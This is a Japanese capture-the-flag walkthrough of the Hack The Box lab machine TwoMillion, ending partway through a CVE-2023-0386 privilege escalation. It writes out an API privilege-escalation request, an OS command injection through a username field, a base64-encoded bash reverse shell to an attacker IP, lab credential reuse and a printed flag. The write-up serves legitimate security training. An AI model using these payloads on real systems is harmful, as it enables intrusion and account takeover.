本記事の概要
Hack The BoxのLinuxサーバの難易度Easyのマシンである「TwoMillion」に対する攻撃手法を記載します。
本記事では、以下の手順を記載します。
(1) ポートスキャン
(2) 名前解決のためのhostsファイル更新
(3) Webアクセスできるファイル/ディレクトリ調査
(4) 招待コード(Invite Code)の生成
(5) Webサイトのアカウント登録
(6) VPNファイルのダウンロード
(7) 実行できるAPIの調査、およびAPIの管理者権限奪取
(8) www-dataユーザー権限のシェルの奪取
(9) adminユーザー権限のシェルの奪取
(10) 特権昇格(CVE-2023-0386の脆弱性悪用)
(11) 【別解】特権昇格(CVE-2023-4911の脆弱性悪用)
※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。
ポートスキャン
(1) 「nmap -sC -sV 10.10.10.245」コマンドを実行して、応答があるポート番号を確認する。SSH(22/tcp)、HTTP(80/tcp)のポートが応答がある。
$ nmap -sC -sV 10.10.11.221
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-09 18:51 JST
Nmap scan report for 2million.htb (10.10.11.221)
Host is up (0.19s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: Hack The Box :: Penetration Testing Labs
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.21 seconds名前解決のためのhostsファイル更新
(1) ブラウザを用いて「http://10.10.11.221/」にアクセスすると、「http://2million.htb/」にリダイレクトされる。
(2) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。
$ echo '10.10.11.221 2million.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
→「10.10.11.221 2million.htb」が出力されることを確認する。
(3) ブラウザを用いて「http://2million.htb/」にアクセスすると、以下の画面が表示される。
Webアクセスできるファイル/ディレクトリ調査
(1) GoBusterを用いてアクセスできるURLを確認すると、「http://2million.htb/invite」や「http://2million.htb/login」のアクセス時のHTTPステータスコードが200番(成功)になっていることが分かる。。
$ gobuster dir -u http://2million.htb/ -w /usr/share/wordlists/dirb/common.txt -t 20 -s"200,204,302,307,401,403" -b ""
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://2million.htb/
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,302,307,401,403
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/404 (Status: 200) [Size: 1674]
/api (Status: 401) [Size: 0]
/home (Status: 302) [Size: 0] [--> /]
/invite (Status: 200) [Size: 3859]
/login (Status: 200) [Size: 3704]
/logout (Status: 302) [Size: 0] [--> /]
/register (Status: 200) [Size: 4527]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
(2) feroxbusterを用いてアクセスできるURLを確認すると、「http://2million.htb/register」や「http://2million.htb/login」のアクセス時のHTTPステータスコードが200番(成功)になっていることが分かる。。
$ feroxbuster -u http://2million.htb
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher ? ver: 2.11.0
qqqqqqqqqqqqqqqqqqqqqqqqqqqwqqqqqqqqqqqqqqqqqqqqqq
? Target Url x http://2million.htb
? Threads x 50
? Wordlist x /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
? Status Codes x All Status Codes!
? Timeout (secs) x 7
? User-Agent x feroxbuster/2.11.0
? Config File x /etc/feroxbuster/ferox-config.toml
? Extract Links x true
? HTTP methods x [GET]
? Recursion Depth x 4
qqqqqqqqqqqqqqqqqqqqqqqqqqqvqqqqqqqqqqqqqqqqqqqqqq
? Press [ENTER] to use the Scan Management Menu?
qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
301 GET 7l 11w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302 GET 0l 0w 0c http://2million.htb/logout => http://2million.htb/
401 GET 0l 0w 0c http://2million.htb/api
405 GET 0l 0w 0c http://2million.htb/api/v1/user/login
200 GET 27l 201w 15384c http://2million.htb/images/favicon.png
200 GET 1l 8w 637c http://2million.htb/js/inviteapi.min.js
405 GET 0l 0w 0c http://2million.htb/api/v1/user/register
200 GET 94l 293w 4527c http://2million.htb/register
200 GET 80l 232w 3704c http://2million.htb/login
200 GET 96l 285w 3859c http://2million.htb/invite
302 GET 0l 0w 0c http://2million.htb/home => http://2million.htb/
200 GET 260l 328w 29158c http://2million.htb/images/logo-transparent.png
200 GET 245l 317w 28522c http://2million.htb/images/logofull-tr-web.png
200 GET 46l 152w 1674c http://2million.htb/404
200 GET 5l 1881w 145660c http://2million.htb/js/htb-frontend.min.js
200 GET 13l 2458w 224695c http://2million.htb/css/htb-frontend.css
200 GET 13l 2209w 199494c http://2million.htb/css/htb-frontpage.css
200 GET 8l 3162w 254388c http://2million.htb/js/htb-frontpage.min.js
200 GET 1242l 3326w 64952c http://2million.htb/
招待コード(Invite Code)の生成
(1) ブラウザを用いて「http://2million.htb/」にアクセスする。上部の「Join」をクリックして、「Join HTB」をクリックする。
(2) 招待コード(Invite Code)を入力する画面が表示される。F12開発ツールの「Network」タブを確認すると、「inviteapi.min.js」ファイルにアクセスしていることが分かる。
(3) 「inviteapi.min.js」をダブルクリックすると、「http://2million.htb/js/inviteapi.min.js」にアクセスしinviteapi.min.jsの内容が表示される。
(4) wgetコマンドでinviteapi.min.jsファイルをダウンロードする。
$ wget http://2million.htb/js/inviteapi.min.js
--2025-03-09 23:55:37-- http://2million.htb/js/inviteapi.min.js
2million.htb (2million.htb) をDNSに問いあわせています... 10.10.11.221, 10.10.11.221, 10.10.11.221
2million.htb (2million.htb)|10.10.11.221|:80 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 637 [application/javascript]
`inviteapi.min.js' に保存中
inviteapi.min.js 100%[===================>] 637 --.-KB/s 時間 0s
2025-03-09 23:55:37 (84.9 MB/s) - `inviteapi.min.js' へ保存完了 [637/637]
(5) 「https://beautifier.io/」にinviteapi.min.jsの内容を入力する。「Beautify Code (ctrl‑enter)」をクリックすると、inviteapi.min.jsの内容が改行などして見やすくなる。
【inviteapi.min.jsの内容】
eval(function(p, a, c, k, e, d) {
e = function(c) {
return c.toString(36)
};
if (!''.replace(/^/, String)) {
while (c--) {
d[c.toString(a)] = k[c] || c.toString(a)
}
k = [function(e) {
return d[e]
}];
e = function() {
return '\\w+'
};
c = 1
};
while (c--) {
if (k[c]) {
p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
}
}
return p
}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}', 24, 24, 'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'), 0, {}))
(6) 「inviteapi.min.js」の内容が難読化されているため、「https://matthewfl.com/unPacker.html」に「inviteapi.min.js」の内容を入力して「UnPack」をクリックする。
【inviteapi.min.jsのアンパック後】
function verifyInviteCode(code)
{
var formData=
{
"code":code
};
$.ajax(
{
type:"POST",dataType:"json",data:formData,url:'/api/v1/invite/verify',success:function(response)
{
console.log(response)
}
,error:function(response)
{
console.log(response)
}
}
)
}
function makeInviteCode()
{
$.ajax(
{
type:"POST",dataType:"json",url:'/api/v1/invite/how/to/generate',success:function(response)
{
console.log(response)
}
,error:function(response)
{
console.log(response)
}
}
)
}

(7) API側(/api/v1/invite/)の処理はWebサーバ側で実施するため詳細は不明ですが、「inviteapi.min.js」の関数はそれぞれ以下の動作をすると推測できる。
| 関数名 | 関数の機能(推測) |
|---|---|
| verifyInviteCode関数 | 「/api/v1/invite/verify」をアクセスし招待コード(Invite Code)を確認する。 |
| makeInviteCode関数 | 「/api/v1/invite/how/to/generate」にアクセスし認証コード(Invite Code)を生成する。 |
(8) 招待コード(Invite Code)を生成する必要があるため、curlコマンドを実行し「/api/v1/invite/how/to/generate」にアクセスする。enctypeとhintの値を確認すると、ROT13で暗号化していると読み取れる記載がある。
$ curl -X POST 2million.htb/api/v1/invite/how/to/generate | jq .
{
"0": 200,
"success": 1,
"data": {
"data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr",
"enctype": "ROT13"
},
"hint": "Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."
}
(9) ROT13で復号化するためにdataの値を「https://rot13.com/」に入力する。復号化後のデータは「In order to generate the invite code, make a POST request to /api/v1/invite/generate」となるため、「/api/v1/invite/generate」にPOSTメソッドでアクセスすると招待コード(Invite Code)が生成されることが分かる。
(10) 招待コード(Invite Code)を生成する必要があるため、curlコマンドを実行し「/api/v1/invite/how/to/generate」にアクセスする。
$ curl -X POST 2million.htb/api/v1/invite/generate | jq .
{
"0": 200,
"success": 1,
"data": {
"code": "OVc0WDEtN0VCVTgtVjE2SkktSk8wTEk=",
"format": "encoded"
}
}
(11) codeの値がどのようなハッシュ値か確認するために、「https://hashes.com/en/tools/hash_identifier」にcodeの値を入力して「SUBMIT & IDENTIFY」をクリックする。
(12) codeの値はBase64でエンコードされた文字列であることが分かる。
(13) codeの値をBase64でエンコードすると、招待コード(Invite Code)が表示される。
$ echo "OVc0WDEtN0VCVTgtVjE2SkktSk8wTEk=" | base64 -d
9W4X1-7EBU8-V16JI-JO0LI
※参考までに(10)と(13)の内容を1行のcurlコマンドを実行し、招待コード(Invite Code)を取得できる。
$ curl -X POST 2million.htb/api/v1/invite/generate | jq .data.code -r | base64 -dWebサイトのアカウント登録
(1) 招待コード(Invite Code)を入力し、「Sigh Up」をクリックする。
(2) アカウントの登録情報(Username、E-Mail、Password)を入力して、「Register」をクリックする。
(3) アカウント登録したE-Mail、Passwordを入力して、「Login」をクリックする。
(4) ログインに成功し、以下の画面が表示される。
VPNファイルのダウンロード
(1) 左部の[Labs] > [Access]をクリックして、「Regenerate」をクリックするとログインしているユーザー用のVPNのファイルがダウンロードされる。
(2) 「Regenerate」をクリックした時のRequestデータの内容をBurp Suiteで確認すると、「/api/v1/user/vpn/regenerate」をアクセスしてVPNのファイルを生成していることが分かる。
【「Regerate」をクリック時のリクエスト】
GET /api/v1/user/vpn/regenerate HTTP/1.1
Host: 2million.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://2million.htb/home/access
Cookie: PHPSESSID=587p6218sbpo0uqsk12gsvk34l
Upgrade-Insecure-Requests: 1
Priority: u=0, i
実行できるAPIの調査、およびAPIの管理者権限奪取
(1) 「/api/v1/user/vpn/regenerate」など様々なAPIが実行されているため、「/api/v1/」にアクセスすることで処理している。他にどのようなAPIがあるか調査するために、curlコマンドでアクセスする。
$ curl -v 2million.htb/api
* Host 2million.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.221, 10.10.11.221, 10.10.11.221
* Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80
* using HTTP/1.x
> GET /api HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/8.11.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 401 Unauthorized
< Server: nginx
< Date: Tue, 11 Mar 2025 14:53:49 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Set-Cookie: PHPSESSID=7mk4nkmv7o72bu8brdhvfckjfd; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
<
* Connection #0 to host 2million.htb left intact
(2) HTTPステータスコード401(Unauthorized)が表示されているため、Cookieの認証情報を入力して再度アクセスする
※PHPSESSIDはログイン中のユーザーである必要があるため、Burp Suiteで取得したリクエスト通信のcookieの値を指定します。
$ curl -v 2million.htb/api --cookie "PHPSESSID=587p6218sbpo0uqsk12gsvk34l" | jq
* IPv6: (none)
* IPv4: 10.10.11.221
* Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80
* using HTTP/1.x
> GET /api HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/8.11.0
> Accept: */*
> Cookie: PHPSESSID=587p6218sbpo0uqsk12gsvk34l
>
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx
< Date: Sat, 11 Jan 2025 06:26:22 GMT
< Content-Type: application/json
< Transfer-Encoding: chunked
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
<
{ [47 bytes data]
100 36 0 36 0 0 90 0 --:--:-- --:--:-- --:--:-- 90
* Connection #0 to host 2million.htb left intact
{
"/api/v1": "Version 1 of the API"
}
※以下はBurp Suiteを経由してアクセスしたときの画面で、cookieの値は赤枠を確認する。
(3) 「/api/v1」があることが分かったため、curlコマンドでアクセスする。APIにアクセスするときのURLの一覧が表示される。
※PHPSESSIDはログイン中のユーザーである必要があるため、Burp Suiteで取得したリクエスト通信のcookieの値を指定します。
$ curl -v 2million.htb/api/v1 --cookie "PHPSESSID=587p6218sbpo0uqsk12gsvk34l" | jq
* IPv6: (none)
* IPv4: 10.10.11.221
* Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80
* using HTTP/1.x
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0> GET /api/v1 HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/8.11.0
> Accept: */*
> Cookie: PHPSESSID=587p6218sbpo0uqsk12gsvk34l
>
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx
< Date: Sat, 11 Jan 2025 06:29:04 GMT
< Content-Type: application/json
< Transfer-Encoding: chunked
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
<
{ [812 bytes data]
100 800 0 800 0 0 2041 0 --:--:-- --:--:-- --:--:-- 2040
* Connection #0 to host 2million.htb left intact
{
"v1": {
"user": {
"GET": {
"/api/v1": "Route List",
"/api/v1/invite/how/to/generate": "Instructions on invite code generation",
"/api/v1/invite/generate": "Generate invite code",
"/api/v1/invite/verify": "Verify invite code",
"/api/v1/user/auth": "Check if user is authenticated",
"/api/v1/user/vpn/generate": "Generate a new VPN configuration",
"/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
"/api/v1/user/vpn/download": "Download OVPN file"
},
"POST": {
"/api/v1/user/register": "Register a new user",
"/api/v1/user/login": "Login with existing user"
}
},
"admin": {
"GET": {
"/api/v1/admin/auth": "Check if user is admin"
},
"POST": {
"/api/v1/admin/vpn/generate": "Generate VPN for specific user"
},
"PUT": {
"/api/v1/admin/settings/update": "Update user settings"
}
}
}
}
(4) ログインしているユーザーの認証情報を確認するために、curlコマンドで「/api/v1/user/auth」にアクセスする。「is_admin」の値が0のため、値を1に変更して管理者権限を奪取する必要があると推測できる。
※PHPSESSIDはログイン中のユーザーである必要があるため、Burp Suiteで取得したリクエスト通信のcookieの値を指定します。
$ curl -v 2million.htb/api/v1/user/auth --cookie "PHPSESSID=587p6218sbpo0uqsk12gsvk34l" | jq
(省略)
{
"loggedin": true,
"username": "test@test.co.jp",
"is_admin": 0
}
(5) 試しに「/api/v1/admin/vpn/generate」にcurlコマンドでアクセスし、管理者権限(admin)のVPNのファイルを生成できるか確認する。
しかし、HTTPステータスコード401(Unauthorized)が表示されているため、現在のユーザーに権限がないことが分かる。
※PHPSESSIDはログイン中のユーザーである必要があるため、Burp Suiteで取得したリクエスト通信のcookieの値を指定します。
$ curl -X POST -v 2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=587p6218sbpo0uqsk12gsvk34l" | jq
> Host: 2million.htb
> User-Agent: curl/8.11.0
> Accept: */*
> Cookie: PHPSESSID=587p6218sbpo0uqsk12gsvk34l
>
* Request completely sent off
< HTTP/1.1 401 Unauthorized
< Server: nginx
< Date: Sat, 11 Jan 2025 06:38:30 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
<
{ [5 bytes data]
0 0 0 0 0 0 0 0 --:--:-- 0:00:01 --:--:-- 0
* Connection #0 to host 2million.htb left intact
(6) 現在のユーザーに管理者権限を付与するために、「/api/v1/admin/settings/update」にアクセスし設定情報の更新を試みる。
今回はHTTPステータスコード401(Unauthorized)ではなく、HTTPステータスコード200(Success)のため権限はあるように思われる。
「Invalid content type.」というメッセージがあるため、「Content-Type」をリクエストデータに追加する必要があることが分かる。
※PHPSESSIDはログイン中のユーザーである必要があるため、Burp Suiteで取得したリクエスト通信のcookieの値を指定します。
$ curl -X PUT -v 2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=587p6218sbpo0uqsk12gsvk34l" | jq
* IPv6: (none)
* IPv4: 10.10.11.221
* Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80
* using HTTP/1.x
> PUT /api/v1/admin/settings/update HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/8.11.0
> Accept: */*
> Cookie: PHPSESSID=587p6218sbpo0uqsk12gsvk34l
>
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx
< Date: Sat, 11 Jan 2025 06:40:51 GMT
< Content-Type: application/json
< Transfer-Encoding: chunked
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
<
{ [64 bytes data]
100 53 0 53 0 0 137 0 --:--:-- --:--:-- --:--:-- 137
* Connection #0 to host 2million.htb left intact
{
"status": "danger",
"message": "Invalid content type."
}
(7) 「Content-Type: application/json」を付与して、再度アクセスする。「Missing parameter: email」というメッセージがあるため、emailのパラメータを送る必要があることが分かる。
※PHPSESSIDはログイン中のユーザーである必要があるため、Burp Suiteで取得したリクエスト通信のcookieの値を指定します。
$ curl -X PUT -v 2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=587p6218sbpo0uqsk12gsvk34l" --header "Content-Type: application/json" | jq
(省略)
{
"status": "danger",
"message": "Missing parameter: email"
}
(8) パラメータに「'{“email”:”test@test.co.jp”}’」を付与して、再度アクセスする。「Missing parameter: is_admin」というメッセージがあるため、is_adminのパラメータを送る必要があることが分かる。
※PHPSESSIDはログイン中のユーザーである必要があるため、Burp Suiteで取得したリクエスト通信のcookieの値を指定します。
$ curl -X PUT -v 2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=587p6218sbpo0uqsk12gsvk34l" --header "Content-Type: application/json" --data '{"email":"test@test.co.jp"}' | jq
(省略)
{
"status": "danger",
"message": "Missing parameter: is_admin"
}
(9) パラメータに「”is_admin”:”true”」を付与して、再度アクセスする。「Variable is_admin needs to be either 0 or 1.」というメッセージがあるため、is_adminのパラメータの値は0か1にする必要があることが分かる。
※PHPSESSIDはログイン中のユーザーである必要があるため、Burp Suiteで取得したリクエスト通信のcookieの値を指定します。
$ curl -X PUT -v 2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=587p6218sbpo0uqsk12gsvk34l" --header "Content-Type: application/json" --data '{"email":"test@test.co.jp","is_admin":"true" }' | jq
(省略)
{
"status": "danger",
"message": "Variable is_admin needs to be either 0 or 1."
}
(10) パラメータを「”is_admin”:”1″」に変更して、再度アクセスする。「”is_admin”: 1」が表示されたため、作成したユーザーに管理者権限が付与されたことが分かる。
※PHPSESSIDはログイン中のユーザーである必要があるため、Burp Suiteで取得したリクエスト通信のcookieの値を指定します。
$ curl -X PUT -v 2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=587p6218sbpo0uqsk12gsvk34l" --header "Content-Type: application/json" --data '{"email":"test@test.co.jp", "is_admin":'1' }' | jq
(省略)
{
"id": 14,
"username": "test@test.co.jp",
"is_admin": 1
}
(11) 念のため「/api/v1/user/auth」にアクセスすると、「is_admin」の値が1のため管理者権限があることが分かる。
※PHPSESSIDはログイン中のユーザーである必要があるため、Burp Suiteで取得したリクエスト通信のcookieの値を指定します。
$ curl -v 2million.htb/api/v1/user/auth --cookie "PHPSESSID=587p6218sbpo0uqsk12gsvk34l" | jq
(省略)
{
"loggedin": true,
"username": "test@test.co.jp",
"is_admin": 1
}
(12) 管理者権限のVPNのファイルを作成すると、VPNファイルの内容が表示される。
※PHPSESSIDはログイン中のユーザーである必要があるため、Burp Suiteで取得したリクエスト通信のcookieの値を指定します。
$ curl -X POST -v 2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=587p6218sbpo0uqsk12gsvk34l" --header "Content-Type: application/json" --data '{"username":"test"}'
(省略)
lient
dev tun
proto udp
remote edge-eu-free-1.2million.htb 1337
resolv-retry infinite
nobind
persist-key
persist-tun
remote-cert-tls server
comp-lzo
verb 3
data-ciphers-fallback AES-128-CBC
data-ciphers AES-256-CBC:AES-256-CFB:AES-256-CFB1:AES-256-CFB8:AES-256-OFB:AES-256-GCM
tls-cipher "DEFAULT:@SECLEVEL=0"
auth SHA256
key-direction 1
ーーーー(省略:VPNのファイルが出力される。)ーーーーwww-dataユーザー権限のシェルの奪取
(1) 「/api/v1/admin/vpn/generate」にOSコマンドインジェクションの脆弱性がある可能性があるため、パラメータに「{“username”:”test;id;”}」を送ると、idコマンドの実行結果が出力される。
※PHPSESSIDはログイン中のユーザーである必要があるため、Burp Suiteで取得したリクエスト通信のcookieの値を指定します。
$ curl -X POST -v 2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=587p6218sbpo0uqsk12gsvk34l" --header "Content-Type: application/json" --data '{"username":"test;id;"}'
(省略)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
(2) Kali Linux側のIPアドレスを確認し、1234番ポートで待ち受ける。
$ ip a
→Kali LinuxのVPN接続用のIPアドレスを確認する。
$ nc -lvp 1234
(3) Kali LinuxのIPアドレス宛に1234番ポートでアクセスするコマンドをBase64でエンコードする。
※Kali LinuxのIPアドレスが「10.10.14.26」であることを想定しているため、環境に応じて変更する。
$ echo "bash -i >& /dev/tcp/10.10.14.26/1234 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNi8xMjM0IDA+JjEK
(4) 攻撃対象のマシン(TwoMillion)上でKali Linuxに1234番ポートでアクセスさせるために、curlコマンドを実行する。
※「YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNi8xMjM0IDA+JjEK」はBase64でデコードした内容のため、環境に応じて変更する。
$ curl -X POST -v 2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=587p6218sbpo0uqsk12gsvk34l" --header "Content-Type: application/json" --data '{"username":"test;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNi8xMjM0IDA+JjEK | base64 -d | bash;"}'
(5) nc -lvp 1234で待ち受けたプロンプトにて、「www-data@2million:~/html$」が返ってきた。
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)adminユーザー権限のシェルの奪取
(1) どのようなファイルがあるか確認するために、lsコマンドを実行する。
$ ls -al
total 56
drwxr-xr-x 10 root root 4096 Jan 11 07:20 .
drwxr-xr-x 3 root root 4096 Jun 6 2023 ..
-rw-r--r-- 1 root root 87 Jun 2 2023 .env
-rw-r--r-- 1 root root 1237 Jun 2 2023 Database.php
-rw-r--r-- 1 root root 2787 Jun 2 2023 Router.php
drwxr-xr-x 5 root root 4096 Jan 11 07:20 VPN
drwxr-xr-x 2 root root 4096 Jun 6 2023 assets
drwxr-xr-x 2 root root 4096 Jun 6 2023 controllers
drwxr-xr-x 5 root root 4096 Jun 6 2023 css
drwxr-xr-x 2 root root 4096 Jun 6 2023 fonts
drwxr-xr-x 2 root root 4096 Jun 6 2023 images
-rw-r--r-- 1 root root 2692 Jun 2 2023 index.php
drwxr-xr-x 3 root root 4096 Jun 6 2023 js
drwxr-xr-x 2 root root 4096 Jun 6 2023 views
(2) データベースに関する情報を確認するために、Database.phpファイルの内容を確認する。データベースに接続する際にユーザー名とパスワードを指定していることが分かる。
$ cat Database.php
<?php
class Database
{
private $host;
private $user;
private $pass;
private $dbName;
private static $database = null;
private $mysql;
public function __construct($host, $user, $pass, $dbName)
{
$this->host = $host;
$this->user = $user;
$this->pass = $pass;
$this->dbName = $dbName;
self::$database = $this;
}
(省略)
(3) PHPでデータベース接続の認証情報は環境変数(.env)に登録することが多いため、環境変数(.env)の内容を確認する。データベースにアクセスする際のユーザー(admin)とパスワード(SuperDuperPass123)を確認できる。
$ cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
(4) adminに関する内容を確認するために、「/etc/passwd」の内容を確認すると、ホームディレクトリ(/home/admin)がありログインできることが分かる。
$ cat /etc/passwd
admin:x:1000:1000::/home/admin:/bin/bash
memcache:x:115:121:Memcached,,,:/nonexistent:/bin/false
_laurel:x:998:998::/var/log/laurel:/bin/false
(省略)
(5) 対話的シェルに変更する。
$ which python3
/usr/bin/python3
$ /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'
(6) データベースでアクセスしている認証情報がOSでも使用されている可能性があるため、ユーザー(admin)とパスワード(SuperDuperPass123)でSSHログインする。
$ ssh admin@127.0.0.1
→パスワード(SuperDuperPass123)を入力してログインが成功する。
(7) lsコマンドを実行して、一般ユーザのフラグファイル(user.txt)があることを確認する。
$ ls
→user.txtファイルがある。
(8) 一般ユーザのフラグファイル(user.txt)を開いて、フラグの文字列を確認する。
$ cat user.txt
7d858c4ae832edc278767e1da8d51e6d特権昇格(CVE-2023-0386の脆弱性悪用)
(1) SUID(※)が付与されたファイルを検索する。しかし、特に気になるファイルはない。
※SUIDが付与された実行ファイルはどのユーザーが実行してもファイルの所有者の権限で実行できる。
$ find / -perm -u=s -type f 2> /dev/null
/snap/snapd/19122/usr/lib/snapd/snap-confine
/snap/core20/1891/usr/bin/chfn
/snap/core20/1891/usr/bin/chsh
/snap/core20/1891/usr/bin/gpasswd
/snap/core20/1891/usr/bin/mount
/snap/core20/1891/usr/bin/newgrp
/snap/core20/1891/usr/bin/passwd
/snap/core20/1891/usr/bin/su
/snap/core20/1891/usr/bin/sudo
/snap/core20/1891/usr/bin/umount
/snap/core20/1891/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1891/usr/lib/openssh/ssh-keysign
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/umount
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/bin/chfn
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
(2) いくつかのファイルを確認すると、admin宛のメールがあるため確認する。メッセージの内容を確認すると、LinuxカーネルのOverlayFS / FUSEの脆弱性が危険である旨の記載がある。
$ cat /var/mail/admin
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2
Hey admin,
I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.
HTB Godfather
(3) OverlayFS / FUSEの脆弱性を確認するために、Linuxカーネルのバージョンを確認する。「Ubuntu 22.04.2の5.15.70-051570-generic」であることが分かる。
$ uname -a
Linux 2million 5.15.70-051570-generic #202209231339 SMP Fri Sep 23 13:45:37 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 22.04.2 LTS
Release: 22.04
Codename: jammy
(4) 「overlayfs fuse exploit」をGoogle検索すると、CVE-2023-0386の脆弱性があることが分かる。また、「https://ubuntu.com/security/CVE-2023-0386」によると、「Ubuntu 22.04.2の5.15.70-051570」は脆弱性の対象であることが分かる。
(5) 「CVE-2023-0386 github」でGoogle検索すると、「https://github.com/sxlmnwb/CVE-2023-0386」に攻撃コードがある。
(6) 攻撃コードを攻撃対象のマシン(TwoMillion)に格納するために、一度Kali Linux上に格納して、SCPで攻撃対象のマシン(TwoMillion)に格納する。
# git clone https://github.com/sxlmnwb/CVE-2023-0386
# zip -r CVE-2023-0386.zip CVE-2023-0386
# scp CVE-2023-0386.zip admin@2million.htb:/tmp
